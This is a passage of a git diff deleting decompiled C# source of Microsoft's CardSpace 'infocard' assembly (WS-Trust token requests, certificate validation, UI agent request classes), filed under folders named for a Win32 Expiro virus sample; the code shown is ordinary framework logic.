(XmlNames.WSSpecificationVersion.WSTrustXmlSoap2005 == this.m_protocolProfile.WSTrust.Version) - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => rstrMsg = sts.ProcessRequestSecurityTokenFeb2005(rstMsg)), (ClientRequest.AsyncEntryCallback) (() => channelFactory.Abort())); - else if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.m_protocolProfile.WSTrust.Version) - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => rstrMsg = sts.ProcessRequestSecurityTokenWSTrust13(rstMsg)), (ClientRequest.AsyncEntryCallback) (() => channelFactory.Abort())); - else - InfoCardTrace.Assert(false, "Unsupported version of WS-Trust detected"); - InfoCardTrace.Assert(null != rstrMsg, "Should have thrown before this if message is null"); - WSIdentityFaultException.ThrowIfFaultMessage(rstrMsg, CultureInfo.GetCultureInfo(this.UserLanguage)); - using (XmlReader readerAtBodyContents = (XmlReader) rstrMsg.GetReaderAtBodyContents()) - { - using (MemoryStream output = new MemoryStream()) - { - using (XmlWriter writer = XmlWriter.Create((Stream) output, new XmlWriterSettings() - { - CloseOutput = false, - Encoding = Encoding.UTF8, - OmitXmlDeclaration = true - })) - this.WriteRequestedTokenFrom(readerAtBodyContents, writer); - this.m_rawToken = new byte[output.Length - 3L]; - Array.Copy((Array) output.GetBuffer(), 3, (Array) this.m_rawToken, 0, Convert.ToInt32(output.Length - 3L)); - } - } - channelFactory.Close(); - } - } - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("ServiceSTSCommunicationFailed"), ex)); - throw; - } - } - - public static void WriteSourceUrlAppliesTo( - XmlWriter writer, - GetBrowserTokenParameters browserParams, - ProtocolProfile profile) - { - EndpointAddress endpointAddress = browserParams.Recipient.CreateEndpointAddress(); - writer.WriteStartElement(profile.WSPolicy.DefaultPrefix, profile.WSPolicy.AppliesTo, profile.WSPolicy.Namespace); - endpointAddress.WriteTo(AddressingVersion.WSAddressing10, writer); - writer.WriteEndElement(); - } - - private static void CheckOptionalTokenParameters( - SupportingTokenParameters oestp, - IDictionary oostp, - ref bool disallowedStpDetected) - { - ThrowOnMultipleAssignment issuedTokenParameters = new ThrowOnMultipleAssignment(SR.GetString("TooManyIssuedSecurityTokenParameters")); - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromSupportingTokenParameters(oestp, issuedTokenParameters, ref disallowedStpDetected); - foreach (SupportingTokenParameters parameters in (IEnumerable) oostp.Values) - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromSupportingTokenParameters(parameters, issuedTokenParameters, ref disallowedStpDetected); - } - - public static IssuedSecurityTokenParameters TryGetNextStsIssuedTokenParameters( - BindingElementCollection bindingElements, - ref bool disallowedStpDetected) - { - if (bindingElements == null) - return (IssuedSecurityTokenParameters) null; - ThrowOnMultipleAssignment issuedTokenParameters = new ThrowOnMultipleAssignment(SR.GetString("TooManyIssuedSecurityTokenParameters")); - SecurityBindingElement securityBindingElement1 = bindingElements.Find(); - if (securityBindingElement1 == null) - return (IssuedSecurityTokenParameters) null; - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromSupportingTokenParameters(securityBindingElement1.EndpointSupportingTokenParameters, issuedTokenParameters, ref disallowedStpDetected); - foreach (SupportingTokenParameters parameters in (IEnumerable) securityBindingElement1.OperationSupportingTokenParameters.Values) - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromSupportingTokenParameters(parameters, issuedTokenParameters, ref disallowedStpDetected); - switch (securityBindingElement1) - { - case AsymmetricSecurityBindingElement _: - AsymmetricSecurityBindingElement securityBindingElement2 = (AsymmetricSecurityBindingElement) securityBindingElement1; - GetBrowserTokenRequest.CheckAndAssignIssuedTokenParameters(securityBindingElement2.InitiatorTokenParameters, issuedTokenParameters, ref disallowedStpDetected); - GetBrowserTokenRequest.CheckAndAssignIssuedTokenParameters(securityBindingElement2.RecipientTokenParameters, issuedTokenParameters, ref disallowedStpDetected); - break; - case SymmetricSecurityBindingElement _: - SecurityTokenParameters protectionTokenParameters = ((SymmetricSecurityBindingElement) securityBindingElement1).ProtectionTokenParameters; - if (protectionTokenParameters is SecureConversationSecurityTokenParameters) - { - SecureConversationSecurityTokenParameters securityTokenParameters = (SecureConversationSecurityTokenParameters) protectionTokenParameters; - BindingElementCollection bindingElements1 = new BindingElementCollection(); - if (securityTokenParameters.BootstrapSecurityBindingElement != null) - bindingElements1.Add((BindingElement) securityTokenParameters.BootstrapSecurityBindingElement); - GetBrowserTokenRequest.CheckAndAssignIssuedTokenParameters((SecurityTokenParameters) GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(bindingElements1, ref disallowedStpDetected), issuedTokenParameters, ref disallowedStpDetected); - break; - } - GetBrowserTokenRequest.CheckAndAssignIssuedTokenParameters(protectionTokenParameters, issuedTokenParameters, ref disallowedStpDetected); - break; - } - GetBrowserTokenRequest.CheckOptionalTokenParameters(securityBindingElement1.OptionalEndpointSupportingTokenParameters, securityBindingElement1.OptionalOperationSupportingTokenParameters, ref disallowedStpDetected); - return issuedTokenParameters.Value; - } - - public static void CheckAndAssignIssuedTokenParameters( - SecurityTokenParameters stp, - ThrowOnMultipleAssignment issuedTokenParameters, - ref bool disallowedStpDetected) - { - if (stp == null) - return; - InfoCardTrace.Assert(null == stp as SecureConversationSecurityTokenParameters, "Should have already filtered this"); - if (stp is IssuedSecurityTokenParameters || stp is RsaSecurityTokenParameters || stp is SslSecurityTokenParameters || stp is X509SecurityTokenParameters) - issuedTokenParameters.Value = stp as IssuedSecurityTokenParameters; - else - disallowedStpDetected = true; - } - - private static void GetIssuedSecurityTokenParametersFromSupportingTokenParameters( - SupportingTokenParameters parameters, - ThrowOnMultipleAssignment issuedTokenParameters, - ref bool disallowedStpDetected) - { - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromCollection(parameters.Endorsing, issuedTokenParameters, ref disallowedStpDetected); - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromCollection(parameters.SignedEndorsing, issuedTokenParameters, ref disallowedStpDetected); - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromCollection(parameters.Signed, issuedTokenParameters, ref disallowedStpDetected); - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromCollection(parameters.SignedEncrypted, issuedTokenParameters, ref disallowedStpDetected); - } - - private static void GetIssuedSecurityTokenParametersFromCollection( - Collection collection, - ThrowOnMultipleAssignment issuedTokenParameters, - ref bool disallowedStpDetected) - { - foreach (SecurityTokenParameters stp in collection) - { - if (stp is SecureConversationSecurityTokenParameters) - { - SecureConversationSecurityTokenParameters securityTokenParameters = (SecureConversationSecurityTokenParameters) stp; - BindingElementCollection bindingElements = new BindingElementCollection(); - if (securityTokenParameters.BootstrapSecurityBindingElement != null) - bindingElements.Add((BindingElement) securityTokenParameters.BootstrapSecurityBindingElement); - GetBrowserTokenRequest.CheckAndAssignIssuedTokenParameters((SecurityTokenParameters) GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(bindingElements, ref disallowedStpDetected), issuedTokenParameters, ref disallowedStpDetected); - } - else - GetBrowserTokenRequest.CheckAndAssignIssuedTokenParameters(stp, issuedTokenParameters, ref disallowedStpDetected); - } - } - - private GetBrowserTokenRequest.CreateIssuedTokenClientCredentials CreateClientCredentials( - ServiceEndpoint svcEpr) - { - GetBrowserTokenRequest.CreateIssuedTokenClientCredentials clientCredentials = new GetBrowserTokenRequest.CreateIssuedTokenClientCredentials(this); - EndpointAddress endpointAddress = svcEpr.Address; - Binding binding = svcEpr.Binding; - X509Certificate2Collection certificate2Collection = new X509Certificate2Collection(); - bool disallowedStpDetected = false; - try - { - while (binding != null) - { - IssuedSecurityTokenParameters issuedTokenParameters = GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(binding.CreateBindingElements(), ref disallowedStpDetected); - if (issuedTokenParameters != null) - { - if (disallowedStpDetected) - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException()); - if (!((EndpointAddress) null == issuedTokenParameters.IssuerAddress) && !((Uri) null == issuedTokenParameters.IssuerAddress.Uri)) - { - if (endpointAddress.Identity is X509CertificateEndpointIdentity identity) - { - certificate2Collection.AddRange(identity.Certificates); - certificate2Collection.Remove(identity.Certificates[0]); - bool chainTrustPassed = false; - InfoCardX509Validator.ValidateChainOrPeer(identity.Certificates[0], certificate2Collection, out chainTrustPassed); - clientCredentials.ServiceCertificate.ScopedCertificates.Add(endpointAddress.Uri, identity.Certificates[0]); - } - binding = issuedTokenParameters.IssuerBinding; - endpointAddress = issuedTokenParameters.IssuerAddress; - } - else - break; - } - else - break; - } - if (this.m_params.Issuer.LeafCertificate != null) - { - bool chainTrustPassed = false; - InfoCardX509Validator.ValidateChainOrPeer(this.m_params.Issuer.LeafCertificate, this.m_params.Issuer.SupportingCertificates, out chainTrustPassed); - clientCredentials.ServiceCertificate.DefaultCertificate = this.m_params.Issuer.LeafCertificate; - certificate2Collection.AddRange(this.m_params.Issuer.SupportingCertificates); - } - else - { - if (!(svcEpr.Address.Identity is X509CertificateEndpointIdentity identity)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidIPSTSPolicy"))); - clientCredentials.ServiceCertificate.DefaultCertificate = identity.Certificates[0]; - certificate2Collection.AddRange(identity.Certificates); - certificate2Collection.Remove(identity.Certificates[0]); - } - InfoCardTrace.Assert(null != clientCredentials.ServiceCertificate.DefaultCertificate, "This is configured in both cases above - either via the incoming params or via the endpoint retrieved from mex"); - clientCredentials.ServiceCertificate.Authentication.CertificateValidationMode = X509CertificateValidationMode.Custom; - clientCredentials.ServiceCertificate.Authentication.CustomCertificateValidator = InfoCardX509Validator.Create(certificate2Collection); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("RecipientCertificateNotValid"), (Exception) ex)); - } - return clientCredentials; - } - - private void WriteRequestedTokenFrom(XmlReader reader, XmlWriter writer) - { - while (reader.Read()) - { - if (reader.IsStartElement(this.m_protocolProfile.WSTrust.RequestedSecurityToken, this.m_protocolProfile.WSTrust.Namespace)) - { - reader.Read(); - writer.WriteNode(reader, false); - return; - } - } - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoTokenReturned"))); - } - - private ServiceEndpointCollection GetServiceEndpointCollection( - Uri serviceUri, - Uri mexUri) - { - bool flag = false; - InfoCardMetadataExchangeClient mex = new InfoCardMetadataExchangeClient(); - mex.Proxy = this.UserProxy; - MetadataSet metadataSet = (MetadataSet) null; - mex.ResolveMetadataReferences = true; - mex.MaximumResolvedReferences = InfoCardConstants.MaximumMexChainLength; - EndpointAddress metadataAddress = new EndpointAddress(mexUri, new AddressHeader[0]); - try - { - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => metadataSet = mex.GetMetadata(metadataAddress)), (ClientRequest.AsyncEntryCallback) (() => mex.Abort())); - flag = true; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - if (!flag) - { - try - { - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => metadataSet = mex.GetMetadata(mexUri, MetadataExchangeClientMode.HttpGet)), (ClientRequest.AsyncEntryCallback) (() => mex.Abort())); - flag = true; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - } - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("EndpointNotFound"))); - WsdlImporter imp = new WsdlImporter(metadataSet); - imp.State.Add((object) "MetadataExchangeClientKey", (object) mex); - ServiceEndpointCollection serviceEndpoints = (ServiceEndpointCollection) null; - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => serviceEndpoints = imp.ImportAllEndpoints()), (ClientRequest.AsyncEntryCallback) null); - return serviceEndpoints; - } - - private static BindingElementCollection FedChainUpdateProxyForHttpAndRestrictTransportBinding( - BindingElementCollection bindingElements, - IWebProxy proxy) - { - bindingElements = Utility.UpdateProxyForHttpAndRestrictTransportBinding(bindingElements, proxy, true); - bool disallowedStpDetected = false; - IssuedSecurityTokenParameters issuedTokenParameters = GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(bindingElements, ref disallowedStpDetected); - if (issuedTokenParameters != null && (EndpointAddress) null != issuedTokenParameters.IssuerAddress && (Uri) null != issuedTokenParameters.IssuerAddress.Uri && issuedTokenParameters.IssuerBinding != null) - issuedTokenParameters.IssuerBinding = (Binding) new CustomBinding(GetBrowserTokenRequest.FedChainUpdateProxyForHttpAndRestrictTransportBinding(issuedTokenParameters.IssuerBinding.CreateBindingElements(), proxy)); - return bindingElements; - } - - private static Binding FedChainUpdateProxyAndRestrictTransportBindingWrapper( - Binding binding, - IWebProxy proxy) - { - return (Binding) new CustomBinding(GetBrowserTokenRequest.FedChainUpdateProxyForHttpAndRestrictTransportBinding(binding.CreateBindingElements(), proxy)); - } - - private SecurityToken CreateIssuedToken( - CardSpacePolicyElement[] policyElements, - SecurityTokenSerializer tokenSerializer) - { - WindowsImpersonationContext impersonationContext = this.RequestorIdentity.Impersonate(); - try - { - try - { - int index1 = policyElements.Length - 1; - InfoCardTrace.Assert(0 <= index1, "lastElementIndex should be non-negative"); - if (policyElements[index1].IsManagedIssuer) - --index1; - int length = index1; - if (0 < length) - { - InfoCardPolicy[] infoCardPolicyArray = new InfoCardPolicy[length]; - for (int index2 = 0; index2 < length; ++index2) - { - infoCardPolicyArray[index2] = PolicyFactory.CreatePolicyForIntermediateGetBrowserTokenRequest(policyElements[index2], (Uri) null, 0U, (RecipientIdentity) null); - infoCardPolicyArray[index2].Validate(); - } - } - InfoCardPolicy browserTokenRequest = PolicyFactory.CreatePolicyForGetBrowserTokenRequest(policyElements[index1], this.m_params.PrivacyUrl, this.m_params.PrivacyVersion, RecipientIdentity.CreateIdentity(this.m_params.Recipient.CreateEndpointAddress(), true), PolicyUsageContext.GetToken); - browserTokenRequest.Validate(); - this.Policy = browserTokenRequest; - base.OnProcess(); - if (this.ProcessingException != null) - throw InfoCardTrace.ThrowHelperError(this.ProcessingException); - SecurityKeyIdentifierClause internalTokenReference = tokenSerializer.ReadKeyIdentifierClause((XmlReader) Utility.CreateReaderWithQuotas(this.Token.InternalTokenReference)); - SecurityKeyIdentifierClause externalTokenReference = tokenSerializer.ReadKeyIdentifierClause((XmlReader) Utility.CreateReaderWithQuotas(this.Token.ExternalTokenReference)); - this.m_proofToken = this.Token.SymmetricProof != null ? new SelfIssuedAuthProofToken(new InMemorySymmetricSecurityKey(this.Token.SymmetricProof.Key), this.Token.ExpirationTime) : new SelfIssuedAuthProofToken(this.GetPrivateCryptography(), this.Token.ExpirationTime); - return (SecurityToken) new GenericXmlSecurityToken(this.Token.ProtectedToken, (SecurityToken) this.m_proofToken, this.Token.EffectiveTime, this.Token.ExpirationTime, internalTokenReference, externalTokenReference, (ReadOnlyCollection) null); - } - finally - { - impersonationContext.Undo(); - } - } - catch - { - throw; - } - } - - protected override void OnDisposeAsUser() - { - base.OnDisposeAsUser(); - if (this.m_proofToken == null) - return; - this.m_proofToken.Dispose(); - this.m_proofToken = (SelfIssuedAuthProofToken) null; - } - - private class CreateIssuedTokenClientCredentials : ClientCredentials - { - private GetBrowserTokenRequest request; - - public CreateIssuedTokenClientCredentials(GetBrowserTokenRequest request) - { - InfoCardTrace.ThrowInvalidArgumentConditional(request == null, nameof (request)); - this.request = request; - } - - protected internal CreateIssuedTokenClientCredentials( - GetBrowserTokenRequest.CreateIssuedTokenClientCredentials other) - : base((ClientCredentials) other) - { - this.request = other.request; - } - - protected override ClientCredentials CloneCore() => (ClientCredentials) new GetBrowserTokenRequest.CreateIssuedTokenClientCredentials(this); - - protected internal override SecurityToken GetInfoCardSecurityToken( - bool requiresInfoCard, - CardSpacePolicyElement[] chain, - SecurityTokenSerializer tokenSerializer) - { - return this.request.CreateIssuedToken(chain, tokenSerializer); - } - - public override void ApplyClientBehavior( - ServiceEndpoint serviceEndpoint, - ClientRuntime behavior) - { - base.ApplyClientBehavior(serviceEndpoint, behavior); - bool flag = false; - foreach (IInteractiveChannelInitializer channelInitializer in behavior.InteractiveChannelInitializers) - { - if (channelInitializer is InfocardInteractiveChannelInitializer) - { - flag = true; - break; - } - } - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IdentityProviderRequestedUnsupportedAuthType"))); - } - } - - [ServiceContract] - internal interface ISts - { - [OperationContract(Action = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue", Name = "ProcessRequestSecurityTokenFeb2005", ProtectionLevel = ProtectionLevel.EncryptAndSign, ReplyAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue")] - Message ProcessRequestSecurityTokenFeb2005(Message rstMessage); - - [OperationContract(Action = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Issue", Name = "ProcessRequestSecurityTokenWSTrust13", ProtectionLevel = ProtectionLevel.EncryptAndSign, ReplyAction = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTRC/IssueFinal")] - Message ProcessRequestSecurityTokenWSTrust13(Message rstMessage); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetCardDetailsRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetCardDetailsRequest.cs deleted file mode 100644 index 9c4cc6bd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetCardDetailsRequest.cs +++ /dev/null @@ -1,42 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetCardDetailsRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetCardDetailsRequest : UIAgentRequest - { - private InfoCard m_card; - private bool m_cardMatchesPolicyRequirements; - - public GetCardDetailsRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - Stream inArgs = this.InArgs; - this.m_card = new InfoCard(inArgs); - this.m_card.GetExtendedInformation().Deserialize(inArgs); - this.m_card.GetRPIdentityRequirement().Deserialize(inArgs); - this.m_card.GetClaims().Deserialize(inArgs); - } - - protected override void OnProcess() => this.m_cardMatchesPolicyRequirements = this.m_card.DoesCardMatchPolicySet(this.GetPolicy()); - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs, Encoding.Unicode).Write(this.m_cardMatchesPolicyRequirements); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetCertificateRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetCertificateRequest.cs deleted file mode 100644 index c27ad43a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetCertificateRequest.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetCertificateRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetCertificateRequest : UIAgentRequest - { - private string m_recipientIdentifier; - private X509Certificate2 m_certificate; - - public GetCertificateRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() => this.m_recipientIdentifier = Utility.DeserializeString(new BinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - this.m_certificate = this.ParentRequest.CertCacheFind(this.m_recipientIdentifier); - if (this.m_certificate == null) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("NoCachedCertificateForRecipient"))); - } - - protected override void OnMarshalOutArgs() => Utility.SerializeBytes(new BinaryWriter(this.OutArgs, Encoding.Unicode), this.m_certificate.GetRawCertData()); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetCryptoTransformRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetCryptoTransformRequest.cs deleted file mode 100644 index 58d5e009..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetCryptoTransformRequest.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetCryptoTransformRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetCryptoTransformRequest : ClientRequest - { - private int m_cryptoSession; - private CipherMode m_mode; - private PaddingMode m_padding; - private int m_feedbackSize; - private SymmetricCryptoSession.Direction m_direction; - private byte[] m_iv; - private TransformCryptoSession m_transformSession; - - public GetCryptoTransformRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_cryptoSession = binaryReader.ReadInt32(); - this.m_mode = (CipherMode) binaryReader.ReadInt32(); - this.m_padding = (PaddingMode) binaryReader.ReadInt32(); - this.m_feedbackSize = binaryReader.ReadInt32(); - this.m_direction = (SymmetricCryptoSession.Direction) binaryReader.ReadInt32(); - this.m_iv = binaryReader.ReadBytes(binaryReader.ReadInt32()); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_feedbackSize, "feedbackSize"); - } - - protected override void OnProcess() => this.m_transformSession = ((SymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).GetCryptoTransform(this.m_mode, this.m_padding, this.m_feedbackSize, this.m_direction, this.m_iv); - - protected override void OnMarshalOutArgs() - { - BinaryWriter bwriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - this.m_transformSession.Write(bwriter); - bwriter.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetFileNameResult.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetFileNameResult.cs deleted file mode 100644 index 775e9d4e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetFileNameResult.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetFileNameResult -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal class GetFileNameResult - { - private string m_fileName; - private byte[] m_fileContent; - - public string FileName - { - set => this.m_fileName = value; - get => this.m_fileName; - } - - public byte[] FileContent - { - set => this.m_fileContent = value; - get => this.m_fileContent; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetImportFileNameRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetImportFileNameRequest.cs deleted file mode 100644 index fb2cda65..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetImportFileNameRequest.cs +++ /dev/null @@ -1,44 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetImportFileNameRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetImportFileNameRequest : UIAgentRequest - { - private string m_filename = string.Empty; - - public GetImportFileNameRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - if (this.ParentRequest is ImportRequest) - { - this.m_filename = (this.ParentRequest as ImportRequest).ImportedFile; - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_filename), "No file name provided for import"); - } - else - InfoCardTrace.Assert(false, "The parent of this request MUST be ImportRequest"); - } - - protected override void OnMarshalOutArgs() => Utility.SerializeString(new BinaryWriter(this.OutArgs, Encoding.Unicode), this.m_filename); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetImportedCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetImportedCardRequest.cs deleted file mode 100644 index 9a8ad79f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetImportedCardRequest.cs +++ /dev/null @@ -1,120 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetImportedCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetImportedCardRequest : UIAgentRequest - { - private InfoCard m_card; - private Recipient m_issuer; - private string m_filename; - private string m_policyLink; - private InfoCardPolicy m_policy; - private GetImportedCardRequest.ImportCardMatchStatus m_matchFlag; - - public GetImportedCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - this.m_matchFlag = GetImportedCardRequest.ImportCardMatchStatus.MatchNone; - } - - protected override void OnInitializeAsSystem() - { - base.OnInitializeAsSystem(); - this.m_policy = this.GetPolicy(); - } - - protected override void OnMarshalInArgs() => this.m_filename = Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - - protected 